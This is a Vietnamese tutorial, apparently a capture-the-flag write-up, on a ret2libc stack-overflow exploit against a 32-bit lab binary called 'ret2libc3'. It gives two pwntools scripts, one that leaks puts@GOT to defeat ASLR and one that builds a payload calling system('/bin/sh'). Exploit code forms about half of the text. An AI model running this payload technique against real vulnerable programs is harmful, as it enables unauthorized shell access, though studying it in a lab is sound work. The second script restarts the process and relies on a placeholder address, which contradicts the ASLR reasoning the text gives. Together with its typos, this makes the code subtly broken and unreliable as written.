Tổng Quan Về Vấn Đề và Môi Trường Mục Tiêu Vấn đề này thuộc nhóm khai thác lỗi tràn bộ đệm (stack overflow) trên các chương trình bị khóa tính năng NX (No eXecute), nghĩa là stack không thể thực thi mã được. Để vượt qua giới hạn này, kỹ thuật Return-to-PLT hoặc Return-to-LibC thường được áp dụng. Cấu hình ban đầu của target bao gồm phiên bản 32-bit với chế độ bảo vệ NX đang hoạt động. Do đó, việc nhồi trực tiếp mã shellcode vào stack sẽ thất bại. Chúng ta cần điều khiển luồng điều khiển chương trình để gọi lại các hàm đã có sẵn trong thư viện libc.
Phân Tích Kiến Trúc và Giới Hạn Của Thư Viện
Khi rà soát mã nguồn bằng công cụ phân tích tĩnh như IDA Pro, ta nhận thấy các hàm nhạy cảm như system hay chuỗi ký tự /bin/sh không tồn tại ở phần dữ liệu tĩnh của executable. Mặc dù vậy, thư viện libc vẫn cung cấp đầy đủ các hàm này.
Vấn đề cốt lõi nằm ở vị trí tải của libc. Địa chỉ cơ sở (base address) của thư viện libc thay đổi ngẫu nhiên mỗi lần khởi chạy do cơ chế ASLR (Address Space Layout Randomization). Tuy nhiên, mối quan hệ tương đối giữa các địa chỉ hàm trong cùng một phiên bản libc luôn cố định.
Giải pháp khả thi là tận dụng cơ chế liên kết chậm (Lazy Binding). Bằng cách đọc nội dung tại mục GOT (Global Offset Table) của hàm puts, ta có thể lấy được địa chỉ thực tế của hàm này tại thời điểm runtime. Sau khi xác định được puts@GOT, chúng ta có thể suy ra địa chỉ gốc của thư viện libc dựa trên các giá trị offset được công bố của phiên bản libc tương ứng.
Chiến Lược Tính Toán Địa Chỉ
Sau khi có được địa chỉ thực thi của puts, việc tính toán trở nên đơn giản hóa:
- Xác định libc Base Address: Lấy địa chỉ vừa rò rỉ trừ đi offset chính thức của
putstrong thư viện libc đó. - Tính toán địa chỉ mục tiêu: Cộng Base Address vừa tính với offset của hàm
systemvà chuỗi/bin/sh. Kết quả thu được là các địa chỉ thực tế cần trỏ tới trong payload tấn công. Công cụ hỗ trợ tra cứu offset nhưlibc-databasehoặc mô-đunLibcSearchertrong Pytnon rất hữu ích trong giai đoạn này.
Quy Trình Hiện Thực Hóa Payload Ngoài các bước chuẩn bị lý thuyết, quá trình khai thác chia làm hai giai đoạn độc lập nhưng phụ thuộc lẫn nhau về mặt dữ liệu. Giai đoạn 1 tập trung vào việc đánh cắp địa chỉ, giai đoạn 2 sử dụng thông tin đó để chiếm quyền kiểm soát.
Giai Đoạn 1: Trích Xuất Thông Tin Runtime
Mục tiêu là tạo ra một gói gửi đến server sao cho nó kích hoạt hàm puts ở địa chỉ GOT của chính hàm puts.
from pwn import *
# Thiết lập kết nối và nạp file ELF
target_binary = ELF('./ret2libc3')
process_instance = process('./ret2libc3')
# Lấy các điểm tham chiếu từ ELF
addr_puts_plt = target_binary.plt['puts']
addr_puts_got = target_binary.got['puts']
addr_start_sym = target_binary.symbols['_start']
# Cấu hình độ dịch chuyển stack (thường là 112 byte cho ví dụ này)
stack_offset = 112
padding = b'A' * stack_offset
# Xây dựng payload: Padding -> Gọi puts(got_of_puts) -> Quay lại start
packet_leak = padding
packet_leak += p32(addr_puts_plt)
packet_leak += p32(addr_start_sym)
packet_leak += p32(addr_puts_got)
# Gửi yêu cầu và nhận dữ liệu trả về
process_instance.sendlineafter(b'!', packet_leak)
raw_response = process_instance.recv(4)
# Chuyển đổi bytes thành địa chỉ số nguyên 32-bit
leaked_puts_addr = u32(raw_response)
print(f"[+] Địa chỉ rò rỉ của puts: {hex(leaked_puts_addr)}")
# Giữ quy trình mở để xử lý giai đoạn tiếp theo nếu cần
# process_instance.interactive()
Giai Đoạn 2: Tấn Công Nhận Quyền
Sử dụng địa chỉ đã tính toán ở trên để xây dựng payload thay thế địa chỉ trả về của hàm chính bằng hàm system.
from pwn import *
# Khởi tạo lại kết nối
target_process = process('./ret2libc3')
# Các biến lưu trữ offset tìm được từ cơ sở dữ liệu libc
OFFSET_PUTS = 0x067360
OFFSET_SYSTEM = 0x03cd10
OFFSET_BINSH = 0x17b8cf
# Giả định leaked_addr đã được lưu hoặc nhập lại từ giai đoạn trước
leaked_puts = 0x123456 # Placeholder cho giá trị thực tế nhận được
# Tính toán địa chỉ libc gốc
libc_base = leaked_puts - OFFSET_PUTS
# Xác định địa chỉ thực của System và /bin/sh
real_system_addr = libc_base + OFFSET_SYSTEM
real_binsh_addr = libc_base + OFFSET_BINSH
# In debug thông tin
print(f"[-] libc_base: {hex(libc_base)}")
print(f"[-] real_system: {hex(real_system_addr)}")
print(f"[-] real_binsh: {hex(real_binsh_addr)}")
# Chuẩn bị payload tấn công cuối cùng
padding_final = b'A' * 112
# Sắp xếp trên stack: Return Address -> System Func -> Fake Arg -> Binsh String
final_payload = padding_final
final_payload += p32(real_system_addr)
final_payload += b'AAAA' # Placeholder argument
final_payload += p32(real_binsh_addr)
# Gửi payload và chờ kết quả
target_process.sendline(final_payload)
target_process.interactive()
Công Cụ Hỗ Trợ Tìm Kiếm Libc Để giảm thiểu thời gian tra cứu thủ công, cộng đồng phát triển ba phương thức phổ biến sau:
- Truy vấn Web API: Sử dụng trang chủ libc.blucat.me hoặc các mirror khác như libc-db.org để so sánh hash hoặc phiên bản.
- Tự động hóa Script: Dùng thư viện
LibcSearchertrong Pytnoworks để gọi tên hàm ngay lập tức. - So sánh Local Hash: Nếu có thể lấy file libc.local, hãy so sánh cấu trúc heap/stack hoặc version string. Việc xác định chính xác độ dài vùng chứa buffer cũng cần lưu ý kỹ lưỡng, đặc biệt là sự khác biệt giữa các kiến trúc (x86/x64) và compiler options có thể làm lệch địa chỉ hồi đáp.